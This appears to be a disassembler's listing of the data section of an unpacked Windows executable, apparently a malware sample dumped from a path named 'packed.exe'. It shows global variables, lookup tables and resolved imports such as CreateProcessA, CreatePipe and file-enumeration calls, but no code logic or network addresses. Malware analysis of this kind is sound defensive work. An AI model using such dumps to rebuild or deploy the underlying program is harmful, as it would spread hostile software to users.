dword_4D6784	dd 0							; sub_4083A1:loc_408625r
dword_4D6788	dd 0							; sub_4083A1+28Cr
dword_4D678C	dd 0							; sub_4083A1:loc_408659r
dword_4D6790	dd 0							; sub_4083A1+2C0r
dword_4D6794	dd 4 dup(0)	dword_4D67A4	dd 0		byte_4D67A8	db 0			; DATA XREF: .data:00408B4Co
byte_4D67A9	db 0			; DATA XREF: .data:00408B5Ao
byte_4D67AA	db 0			; DATA XREF: .data:00408B81o
byte_4D67AB	db 0			; DATA XREF: .data:00408BD9o
byte_4D67AC	db 0			; DATA XREF: .data:00408BF0o
byte_4D67AD	db 0			; DATA XREF: .data:00408CFCo
byte_4D67AE	db 0			; DATA XREF: .data:00408D54o
byte_4D67AF	db 0			; DATA XREF: .data:00408D6Bo
byte_4D67B0	db 0			; DATA XREF: .data:004091C1o
byte_4D67B1	db 0			; DATA XREF: sub_4092B9+33o
word_4D67B2	dw 0			; DATA XREF: sub_4092B9+63o
byte_4D67B4	db 0			; DATA XREF: sub_409562+64r
					; sub_409562+92w
		align 4
dword_4D67B8	dd 0							; sub_40A547+92w ...
dword_4D67BC	dd 0							; sub_40AA63+D9w ...
		dd 7FEh	dup(0)
dword_4D87B8	dd 6 dup(0)						; sub_40A84F+129o ...
dword_4D87D0	dd 0							; sub_40A01B+34Do
dword_4D87D4	dd 0							; sub_40A01B+35Fr
dword_4D87D8	dd 0		dword_4D87DC	dd 0							; sub_40A01B+320r
dword_4D87E0	dd 20h dup(0)						; sub_40A01B+307o
dword_4D8860	dd 0		dword_4D8864	dd 0							; sub_40A01B+311w
dword_4D8868	dd 0				align 10h
dword_4D8870	dd 0							; sub_40A01B+FEo
dword_4D8874	dd 41h dup(0)	dword_4D8978	dd 41h dup(0)	dword_4D8A7C	dd 0							; sub_40A01B+110r
dword_4D8A80	dd 0		dword_4D8A84	dd 0							; sub_40A01B+D1r
dword_4D8A88	dd 20h dup(0)						; sub_40A01B+B7o
dword_4D8B08	dd 0		dword_4D8B0C	dd 0							; sub_40A01B+C1w
dword_4D8B10	dd 0				align 8
dword_4D8B18	dd 0							; sub_40A01B+226o
dword_4D8B1C	dd 41h dup(0)	dword_4D8C20	dd 41h dup(0)	dword_4D8D24	dd 0							; sub_40A01B+238r
dword_4D8D28	dd 0		dword_4D8D2C	dd 0							; sub_40A01B+1F9r
dword_4D8D30	dd 20h dup(0)						; sub_40A01B+1DFo
dword_4D8DB0	dd 0		dword_4D8DB4	dd 0							; sub_40A01B+1E9w
dword_4D8DB8	dd 0				align 10h
dword_4D8DC0	dd 0							; sub_40A01B+467o
dword_4D8DC4	dd 0A2h	dup(0)	dword_4D904C	dd 41h dup(0)	dword_4D9150	dd 0							; sub_40A01B+41Ar
		align 8
dword_4D9158	dd 0							; sub_40A01B+479r
dword_4D915C	dd 0		dword_4D9160	dd 0		dword_4D9164	dd 0				dd 0
dword_4D916C	dd 0		dword_4D9170	dd 0							; sub_409C6D+31r ...
dword_4D9174	dd 0							; sub_409C6D+25r ...
dword_4D9178	dd 80h dup(0)	dword_4D9378	dd 2 dup(0)	byte_4D9380	db 2 dup(0)		; DATA XREF: sub_40B0E9+13o
word_4D9382	dw 0			; DATA XREF: sub_40B92D+10o
byte_4D9384	db 0			; DATA XREF: .data:0040C421r
byte_4D9385	db 3 dup(0)		; DATA XREF: .data:0040C446o
					; .data:0040C9DEo
dword_4D9388	dd 0							; sub_40CC69+BCo ...
dword_4D938C	dd 0							; sub_40CC69+DAr ...
dword_4D9390	dd 0							; sub_40CC69+CFr ...
dword_4D9394	dd 0							; sub_40CC69+95o ...
dword_4D9398	dd 0							; sub_40CC1E+3Dr ...
dword_4D939C	dd 0D75Bh						; sub_40CE3E+10w ...
dword_4D93A0	dd 0							; sub_40CE55+27Cw
dword_4D93A4	dd 0							; sub_40D70F+51r ...
dword_4D93A8	dd 0		byte_4D93AC	db 0			; DATA XREF: sub_40F3B8+1EFr
		align 10h
dword_4D93B0	dd 1000h dup(0)						; .data:0040FA11o ...
dword_4DD3B0	dd 0							; .data:0040FA58o ...
		dd 6 dup(0)
dword_4DD3CC	dd 0		dword_4DD3D0	dd 0		dword_4DD3D4	dd 0Dh dup(0)	dword_4DD408	dd 80h dup(0)	dword_4DD608	dd 2 dup(0)	dword_4DD610	dd 18h dup(0)						; sub_4123A9+131o ...
dword_4DD670	dd 80h dup(0)						; sub_41313B+A5o
dword_4DD870	dd 0							; sub_412726+4Dr ...
		align 8
dword_4DD878	dd 18h dup(0)						; sub_413007+12Do
dword_4DD8D8	dd 80h dup(0)						; sub_412667+7Do ...
byte_4DDAD8	db 0			; DATA XREF: sub_412726+29r
					; sub_412726+34w
		align 10h
dword_4DDAE0	dd 80h dup(0)						; sub_41297D+88o ...
dword_4DDCE0	dd 80h dup(0)						; sub_412280+50o ...
byte_4DDEE0	db 2 dup(0)		; DATA XREF: .data:00413306o
word_4DDEE2	dw 0			; DATA XREF: .data:0041331Bo
byte_4DDEE4	db 2 dup(0)		; DATA XREF: .data:00413322o
word_4DDEE6	dw 0			; DATA XREF: .data:0041333Eo
byte_4DDEE8	db 2 dup(0)		; DATA XREF: .data:00413353o
word_4DDEEA	dw 0			; DATA XREF: .data:0041335Ao
dword_4DDEEC	dd 0							; sub_413C57+54r ...
dword_4DDEF0	dd 0							; sub_413C57+37r ...
dword_4DDEF4	dd 0							; sub_413DAC+83o
dword_4DDEF8	dd 0							; sub_413DAC+11Bw
dword_4DDEFC	dd 0Dh dup(0)						; sub_413DAC:loc_413EEDo
dword_4DDF30	dd 0							; sub_413C57+ECr ...
byte_4DDF34	db 0			; DATA XREF: sub_413BD0+9o
byte_4DDF35	db 0			; DATA XREF: sub_413DAC+DFo
word_4DDF36	dw 0			; DATA XREF: sub_413DAC:loc_413EE8o
dword_4DDF38	dd 0Ch dup(0)			db 2 dup(0)
word_4DDF6A	dw 0			; DATA XREF: sub_4147AC+13o
dword_4DDF6C	dd 931E90h						; sub_415640:loc_415A7Br ...
dword_4DDF70	dd 27F2h						; sub_4151D0+21Cw ...
dword_4DDF74	dd 9324A8h						; sub_4151D0+252r ...
dword_4DDF78	dd 1B5Fh						; sub_4151D0+22Aw ...
dword_4DDF7C	dd 1F72h						; sub_4151D0+243w ...
dword_4DDF80	dd 0		dword_4DDF84	dd 0A28h						; sub_416900:loc_4169DDr ...
dword_4DDF88	dd 501h		dword_4DDF8C	dd 5							; sub_41AB00+55r
dword_4DDF90	dd 1							; sub_41AB00+5Er
dword_4DDF94	dd 1							; sub_427D30+C6w
dword_4DDF98	dd 933120h						; sub_401404+30Cr ...
		align 10h
dword_4DDFA0	dd 933168h						; sub_427BE0+81r ...
dword_4DDFA4	dd 0		dword_4DDFA8	dd 0							; sub_432830+6r ...
		align 10h
off_4DDFB0	dd offset aCM_unpackerPac ; DATA XREF: sub_427D30+26w
					; sub_427D30+3Cr
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DDFB8	db 0			; DATA XREF: sub_417B70+30w
					; sub_41AE00+8r
		align 4
dword_4DDFBC	dd 0		dword_4DDFC0	dd 0							; sub_417B70:loc_417C3Bw
dword_4DDFC4	dd 0							; sub_417B70+AFw
dword_4DDFC8	dd 0							; .data:0041990Fw
dword_4DDFCC	dd 0		dword_4DDFD0	dd 0							; sub_427BE0+1Br ...
		align 8
dword_4DDFD8	dd 0							; sub_41ACA0+3r ...
dword_4DDFDC	dd 0							; sub_4201D0+2CEw ...
dword_4DDFE0	dd 0		; resolved to->USER32.wsprintfA					; sub_41B010+C8w ...
dword_4DDFE4	dd 0							; sub_4150C0+10r ...
dword_4DDFE8	dd 0							; .data:0041BB49w ...
		align 10h
dword_4DDFF0	dd 144820h, 0FFFFFFFFh,	4 dup(0)dword_4DE008	dd 1447A8h, 0FFFFFFFFh,	4 dup(0)dword_4DE020	dd 1447F8h, 0FFFFFFFFh,	4 dup(0)dword_4DE038	dd 1447D0h, 0FFFFFFFFh,	4 dup(0)dword_4DE050	dd 0							; sub_41E9B0+93w ...
dword_4DE054	dd 1							; sub_421E40+3w ...
dword_4DE058	dd 0							; sub_4226D0+C9w ...
		align 10h
dword_4DE060	dd 0							; sub_4271E0+140o
word_4DE064	dw 0			; DATA XREF: sub_4271E0+E8r
		align 4
dword_4DE068	dd 0							; sub_4271E0+159o
dword_4DE06C	dd 0							; sub_426F40+DDw ...
		dd 0
dword_4DE074	dd 0							; sub_41A730+6r ...
dword_4DE078	dd 0		dword_4DE07C	dd 0		dword_4DE080	dd 0		dword_4DE084	dd 0							; sub_41A910+16Cr ...
dword_4DE088	dd 0		dword_4DE08C	dd 1							; sub_4275A0+4Bw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_427D30+19o
					; sub_427D30+26o ...
		align 4
		dd 3Ah dup(0)
dword_4DE194	dd 1							; sub_428240+2Cw ...
dword_4DE198	dd 0							; sub_428830+34r
dword_4DE19C	dd 0							; .data:00428F22w ...
dword_4DE1A0	dd 0							; .data:00428F35w ...
dword_4DE1A4	dd 0							; .data:00428F49w ...
dword_4DE1A8	dd 0							; .data:00428F5Cw ...
dword_4DE1AC	dd 0							; .data:00428EC5w
dword_4DE1B0	dd 0		; resolved to->USER32.MessageBoxA					; sub_4293F0+39w ...
dword_4DE1B4	dd 0		; resolved to->USER32.GetActiveWindow					; sub_4293F0:loc_429463r ...
dword_4DE1B8	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_4293F0+8Br ...
dword_4DE1BC	dd 1							; sub_429B60+46w ...
dword_4DE1C0	dd 0		dword_4DE1C4	dd 77C2807Ch						; sub_42A4F0+37r ...
dword_4DE1C8	dd 0							; sub_42BD70+86r ...
dword_4DE1CC	dd 0							; sub_42C6F0+93r ...
dword_4DE1D0	dd 0							; sub_42C6F0+A3r ...
dword_4DE1D4	dd 0							; sub_42C6F0+7Cr ...
dword_4DE1D8	dd 0							; .data:0042CAD1r ...
dword_4DE1DC	dd 0							; .data:0042D135r ...
dword_4DE1E0	dd 0							; .data:0042D157r ...
dword_4DE1E4	dd 3 dup(0)						; sub_426F40+F3o
word_4DE1F0	dw 0			; DATA XREF: .data:0042CEB6r
		align 8
word_4DE1F8	dw 0			; DATA XREF: sub_42CB50+Fr
		align 4
		db 2 dup(0)
word_4DE1FE	dw 0			; DATA XREF: sub_42C6F0+Fr
		db 2 dup(0)
word_4DE202	dw 0			; DATA XREF: sub_42BE50+Fr
word_4DE204	dw 0			; DATA XREF: sub_42BE50+1Ar
		align 4
dword_4DE208	dd 0							; sub_42D2B0+176r ...
dword_4DE20C	dd 0							; sub_42D600+1Br ...
dword_4DE210	dd 0							; sub_42D600+101r ...
dword_4DE214	dd 0							; sub_42D540+47r ...
dword_4DE218	dd 0							; sub_42D2B0+4Br ...
dword_4DE21C	dd 0							; sub_42D2B0+80r ...
dword_4DE220	dd 0							; sub_42D2B0:loc_42D3BEr ...
dword_4DE224	dd 0							; sub_42D2B0+1CBr ...
dword_4DE228	dd 0							; sub_42D2B0+2Cw ...
dword_4DE22C	dd 0		byte_4DE230	db 0			; DATA XREF: sub_430D00+18Fo
					; sub_430D00+1F2r ...
		align 8
dword_4DE238	dd 0							; .data:off_44836Co ...
dword_4DE23C	dd 0							; sub_430FA0+46w ...
dword_4DE240	dd 0							; sub_431AB0+6Dw ...
		align 8
dword_4DE248	dd 0							; sub_431AB0+77r
dword_4DE24C	dd 10h dup(0)	word_4DE28C	dw 0			; DATA XREF: sub_431E90+FCr
word_4DE28E	dw 0			; DATA XREF: sub_431AB0+88r
					; sub_431E90+145r ...
word_4DE290	dw 0			; DATA XREF: sub_431E90+132r
word_4DE292	dw 0			; DATA XREF: sub_431E90+13Br
					; sub_431E90+18Br
word_4DE294	dw 0			; DATA XREF: sub_431E90+126r
					; sub_431E90+181r
word_4DE296	dw 0			; DATA XREF: sub_431E90+11Cr
					; sub_431E90+177r
word_4DE298	dw 0			; DATA XREF: sub_431E90+113r
					; sub_431E90+16Er
word_4DE29A	dw 0			; DATA XREF: sub_431E90+109r
					; sub_431E90+164r
dword_4DE29C	dd 0							; sub_431AB0+CEr
dword_4DE2A0	dd 10h dup(0)	word_4DE2E0	dw 0			; DATA XREF: sub_431E90+43r
word_4DE2E2	dw 0			; DATA XREF: sub_431AB0+ABr
					; sub_431E90+8Cr ...
word_4DE2E4	dw 0			; DATA XREF: sub_431E90+79r
word_4DE2E6	dw 0			; DATA XREF: sub_431E90+82r
					; sub_431E90+D2r
word_4DE2E8	dw 0			; DATA XREF: sub_431E90+6Dr
					; sub_431E90+C8r
word_4DE2EA	dw 0			; DATA XREF: sub_431E90+63r
					; sub_431E90+BEr
word_4DE2EC	dw 0			; DATA XREF: sub_431E90+5Ar
					; sub_431E90+B5r
word_4DE2EE	dw 0			; DATA XREF: sub_431E90+50r
					; sub_431E90+ABr
dword_4DE2F0	dd 0							; sub_431AB0+C9r
dword_4DE2F4	dd 0							; sub_431AB0+196r ...
dword_4DE2F8	dd 0							; sub_431A50+16r ...
dword_4DE2FC	dd 0							; sub_432390+41w ...
dword_4DE300	dd 0							; sub_432530+41w ...
dword_4DE304	dd 0							; sub_4328E0+4Bw ...
byte_4DE308	db 1			; DATA XREF: sub_40C15Ar sub_40C15A+9w
		align 4
dword_4DE30C	dd 0							; sub_42FE80+A5w ...
dword_4DE310	dd 0							; sub_430010+1EDw ...
		align 10h
dword_4DE320	dd 931F58h						; sub_41ACD0+109r ...
		dd 3Fh dup(0)
dword_4DE420	dd 20h							; sub_41FCF0+7r ...
dword_4DE424	dd 0							; sub_41A890+11r ...
dword_4DE428	dd 0							; sub_41A690+3Bo ...
dword_4DE42C	dd 4E4h							; sub_421AF0+14Aw ...
word_4DE430	dw 0			; DATA XREF: sub_421AF0+19Aw
					; sub_421AF0+2F3w ...
		align 4
		dd 2 dup(0)
dword_4DE43C	dd 0							; sub_421AF0+2C2w ...
byte_4DE440	db 0			; DATA XREF: sub_421FA0+1CEw
					; sub_421FA0+21Aw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DE540	db 0			; DATA XREF: sub_421AF0+ABw
					; sub_421AF0+1F4w ...
byte_4DE541	db 0			; DATA XREF: sub_417F80+92r
					; sub_421AF0+129r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DE644	dd 0							; sub_421AF0+205w ...
dword_4DE648	dd 930000h						; sub_416900+FBr ...
dword_4DE64C	dd 1							; sub_416900:loc_41699Er ...
dword_4DE650	dd 0							; sub_41D6D0+9r ...
dword_4DE654	dd 0							; sub_41CBB0+4B3r ...
dword_4DE658	dd 0							; sub_41CBB0+5C1w ...
		align 10h
dword_4DE660	dd 0							; sub_41CBB0+477r ...
dword_4DE664	dd 0							; sub_41CAF0+6r ...
dword_4DE668	dd 0							; sub_41CA80+1Br ...
dword_4DE66C	dd 0							; sub_41C020+6Dr ...
dword_4DE670	dd 0							; .data:0041AFFFw ...
dword_4DE674	dd 9324C8h						; sub_41ACD0+4Dr ...
		align 10h
dword_4DE680	dd 400h	dup(0)						; .data:00444EE0o
dword_4DF680	dd 200h							; sub_41ACD0+Dw ...
dword_4DF684	dd 142340h						; sub_427B20:loc_427B32r ...
dword_4DF688	dd 1							; sub_432710+Er
dword_4DF68C	dd 1							; sub_4222D0+16w ...
dword_4DF690	dd 93241Ch						; sub_419EA0+19r ...
dword_4DF694	dd 932410h						; sub_417B70+5Ar ...
dword_4DF698	dd 0							; .data:00416B6Fw ...
byte_4DF69C	db 1			; DATA XREF: sub_4336F0+5r
					; sub_4336F0+11r ...
		align 10h
		dd 258h	dup(0)
		dd 0E0270h, 2 dup(0)
		dd 0E0540h, 0E04D8h, 0E0288h, 2	dup(0)
		dd 0E054Ch, 0E04F0h, 0E0278h, 2	dup(0)
		dd 0E059Ah, 0E04E0h, 0E0064h, 2	dup(0)
		dd 0E0ECEh, 0E02CCh, 5 dup(0)
		dd 0E0968h, 0E0EB4h, 0E0EA2h, 0E0E90h, 0E0E7Eh,	0E0E64h
		dd 0E0E54h, 0E0E3Eh, 0E0E28h, 0E0E16h, 0E0E06h,	0E0DF6h
		dd 0E0DD8h, 0E0DC6h, 0E0DB4h, 0E0DA0h, 0E0D90h,	0E0D78h
		dd 0E0D6Ah, 0E0D58h, 0E0D3Eh, 0E0D26h, 0E0D0Ch,	0E05A6h
		dd 0E05B4h, 0E05C2h, 0E05D4h, 0E05EAh, 0E0600h,	0E0608h
		dd 0E0618h, 0E0626h, 0E0634h, 0E064Ah, 0E065Ah,	0E0666h
		dd 0E067Ch, 0E0692h, 0E06A6h, 0E06BCh, 0E06CCh,	0E06DCh
		dd 0E06ECh, 0E06F8h, 0E070Ah, 0E071Ah, 0E072Ch,	0E0738h
		dd 0E0744h, 0E0750h, 0E075Ch, 0E0770h, 0E0782h,	0E0792h
		dd 0E07A0h, 0E07B8h, 0E07D0h, 0E07F8h, 0E0810h,	0E081Ch
		dd 0E0828h, 0E083Ch, 0E084Eh, 0E0862h, 0E0870h,	0E0882h
		dd 0E0894h, 0E08A2h, 0E08B0h, 0E08BCh, 0E08D4h,	0E08EEh
		dd 0E08FEh, 0E0910h, 0E0922h, 0E093Ch, 0E0958h,	0E097Ah
		dd 0E098Ah, 0E0998h, 0E09AAh, 0E09BAh, 0E09D0h,	0E09DEh
		dd 0E09ECh, 0E0A08h, 0E0A16h, 0E0A2Ch, 0E0A42h,	0E0A4Eh
		dd 0E0A64h, 0E0A74h, 0E0A88h, 0E0A9Eh, 0E0AAEh,	0E0ABEh
		dd 0E0ACEh, 0E0ADAh, 0E0AF2h, 0E0B0Ah, 0E0B1Ch,	0E0B2Eh
		dd 0E0B3Ch, 0E0B4Ah, 0E0B5Ah, 0E0B70h, 0E0B8Ch,	0E0B9Ch
		dd 0E0BA8h, 0E0BB6h, 0E0BC2h, 0E0BD0h, 0E0BE0h,	0E0BFAh
		dd 0E0C08h, 0E0C16h, 0E0C2Ch, 0E0C3Ah, 0E0C46h,	0E0C50h
		dd 0E0C60h, 0E0C6Eh, 0E0C82h, 0E0C8Eh, 0E0C98h,	0E0CA4h
		dd 0E0CB6h, 0E0CC6h, 0E0CD6h, 0E0CF2h, 0
		dd 0E0534h, 0
		dd 0E0558h, 0E056Ah, 0E0580h, 0
		dd 80000009h, 80000004h, 80000074h, 80000073h, 80000015h
		dd 8000000Bh, 80000002h, 8000000Dh, 80000001h, 80000010h
		dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
		dd 8000000Ah, 0
dword_4E02CC	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageA					; .data:004338FCr
dword_4E02D0	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableA					; .data:00433ABEr
dword_4E02D4	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_4328E0+3DAr ...
dword_4E02D8	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_4328E0+D9r ...
dword_4E02DC	dd 7C811562h	; resolved to->KERNEL32.GetLocaleInfoW					; sub_432390+8Br ...
dword_4E02E0	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformation					; .data:00433AA6r
dword_4E02E4	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFile					; .data:00433AA0r
dword_4E02E8	dd 7C809F10h	; resolved to->KERNEL32.GetUserDefaultLCID					; .data:00433A9Ar
dword_4E02EC	dd 7C837CE1h	; resolved to->KERNEL32.EnumSystemLocalesA					; sub_42D930+53r ...
dword_4E02F0	dd 7C8110CBh	; resolved to->KERNEL32.IsValidCodePage					; .data:00433A8Er
dword_4E02F4	dd 7C81C48Bh	; resolved to->KERNEL32.IsValidLocale					; .data:00433A88r
dword_4E02F8	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtr					; .data:00433A82r
dword_4E02FC	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_42A570+9r ...
dword_4E0300	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_429B60+19Er ...
dword_4E0304	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_429B60+AAr ...
dword_4E0308	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffers					; .data:00433A6Ar
dword_4E030C	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_4296A0+66r ...
dword_4E0310	dd 7C81B58Bh	; resolved to->KERNEL32.SetConsoleCtrlHandler					; .data:00433A5Er
dword_4E0314	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_428460+29Br ...
dword_4E0318	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCount					; .data:00433A52r
dword_4E031C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsW					; sub_428240+6Dr ...
dword_4E0320	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_428240+171r ...
dword_4E0324	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW					; sub_428240+150r ...
dword_4E0328	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_401404+7Ar ...
dword_4E032C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401404+2C9r ...
dword_4E0330	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_401404+2B1r ...
dword_4E0334	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401404+DAr ...
dword_4E0338	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_401404+C4r ...
dword_4E033C	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401404+1DEr ...
dword_4E0340	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_401C87+791r ...
dword_4E0344	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_401C87+3772r ...
dword_4E0348	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_4137F3+B9r ...
dword_4E034C	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessId					; .data:004337EEr
dword_4E0350	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_401404+3D1r ...
dword_4E0354	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; .data:00413274r ...
dword_4E0358	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_401404+20Fr ...
dword_4E035C	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_40DDDE+10Fr ...
dword_4E0360	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_4076E5+2r ...
dword_4E0364	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_401404+2FFr ...
dword_4E0368	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexA					; .data:00433818r
dword_4E036C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401C87+2023r ...
dword_4E0370	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_411DDE+35r ...
dword_4E0374	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileA					; .data:0043382Ar
dword_4E0378	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_40979E+27r ...
dword_4E037C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4076E5:loc_407BF3r ...
dword_4E0380	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; .data:004089C2r ...
dword_4E0384	dd 7C810111h	; resolved to->KERNEL32.lstrcpynA					; .data:00433842r
dword_4E0388	dd 7C830D74h	; resolved to->KERNEL32.lstrcmpA					; .data:00433848r
dword_4E038C	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; .data:0043384Er
dword_4E0390	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; .data:00433854r
dword_4E0394	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; sub_41313B+34r ...
dword_4E0398	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_42D2B0+18r ...
dword_4E039C	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_411F66+32r ...
dword_4E03A0	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_409DF2+1ACr ...
dword_4E03A4	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_41AE90+35r ...
dword_4E03A8	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_41AE20+35r ...
dword_4E03AC	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; .data:0043387Er
dword_4E03B0	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_40AA63+241r ...
dword_4E03B4	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_40F29F+D6r ...
dword_4E03B8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_40E70E+80r ...
dword_4E03BC	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_40EE3D+1B6r ...
dword_4E03C0	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandle					; sub_40F128+77r ...
dword_4E03C4	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_40CC69+10Ar ...
dword_4E03C8	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_40F02F+23r ...
dword_4E03CC	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_4147AC+1B6r ...
dword_4E03D0	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_4147AC+19Fr ...
dword_4E03D4	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_40E70E+38r ...
dword_4E03D8	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_40E70E+25r ...
dword_4E03DC	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_411609+BAr ...
dword_4E03E0	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTime					; .data:004338CCr
dword_4E03E4	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTime					; .data:004338D2r
dword_4E03E8	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_40E08D+5DCr ...
dword_4E03EC	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_411609+26r ...
dword_4E03F0	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_410673+259r ...
dword_4E03F4	dd 7C80A05Dh	; resolved to->KERNEL32.WaitForMultipleObjects					; .data:004338EAr
dword_4E03F8	dd 7C873A31h	; resolved to->KERNEL32.GenerateConsoleCtrlEvent					; .data:004338F0r
dword_4E03FC	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; .data:004338F6r
dword_4E0400	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlock					; .data:00433902r
dword_4E0404	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock					; .data:00433908r
dword_4E0408	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFile					; .data:0043390Er
dword_4E040C	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFile					; .data:00433914r
dword_4E0410	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingA					; .data:0043391Ar
dword_4E0414	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTime					; .data:00413714r ...
dword_4E0418	dd 7C831C45h	; resolved to->KERNEL32.GetFileTime					; .data:004133F4r ...
dword_4E041C	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsA					; .data:0043392Cr
dword_4E0420	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; .data:00433932r
dword_4E0424	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_4275A0+2A5r ...
dword_4E0428	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_413282+1Er ...
dword_4E042C	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiA					; .data:00433944r
dword_4E0430	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcess					; .data:0043394Ar
dword_4E0434	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipe					; .data:00433950r
dword_4E0438	dd 7C830B14h	; resolved to->KERNEL32.GetLogicalDrives					; .data:00433956r
dword_4E043C	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatus					; .data:0043395Cr
